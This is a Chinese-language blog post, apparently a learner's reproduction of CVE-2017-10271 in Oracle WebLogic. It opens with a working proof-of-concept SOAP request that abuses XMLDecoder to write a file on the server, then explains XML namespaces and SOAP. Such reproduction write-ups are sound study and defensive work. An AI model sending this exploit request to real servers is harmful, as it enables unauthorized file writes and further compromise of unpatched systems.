漏洞复现(CVE-2017-10271)

前言

php刚有点入门就发现基本没人用了:)只能一咬牙开始学java。我还记得大一看java的时候就晕晕乎乎的,感觉配置东西一大堆,半天吭哧吭哧跑一个HelloWorld。这次争取在年底之前把java水平提上来吧,本篇就写一个java的漏洞复现,还是从Poc开始。

从Poc开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.8.148:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls- wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看到数据包里面是xml格式的语言,正好最近在搞Fuzz建模对xml语言也有一定的了解。这个语言感觉就是一种动作的描述,本身没有什么内置关键字,视想要描述的语言而定。所以这里我猜有很多java相关的知识,一边看一边补吧。

这个数据包的第一行是一个带有冒号的XML标签。这里涉及到了一个XML基础知识

带有冒号的XML标签用于声明XML的标签元素的命名空间

soapenv是前缀,Envelope是xml标签,xmlns表示前缀的命名空间

由于这一段根本文没有太多关系,不清楚的朋友可以看这里:XML命名空间

接着往下看,是一个带有soapenv前缀的Header标签,这里顺便学习一下SOAP简单对象访问协议。SOAP是让运行在不停操作系统并使用不同技术和编程语言的应用程序利用HTTP协议在互联网之间相互通信。

一条SOAP消息就一个个普通的XML文档,是通过HTTP协议中的POST方式传输数据,在header字段中添加

1
SOAPAction: "http://WebXml.com.cn/getSupportCity"

这样请求中的数据就会被当作soap数据来解析而不是MXL。

soap请求中必须以Envelop作为跟节点。

Header中可以添加一些程序需要的元素。

Body是请求的主体,请求什么函数和参数都在这里面。用标签表示请求函数,其子标签表示参数。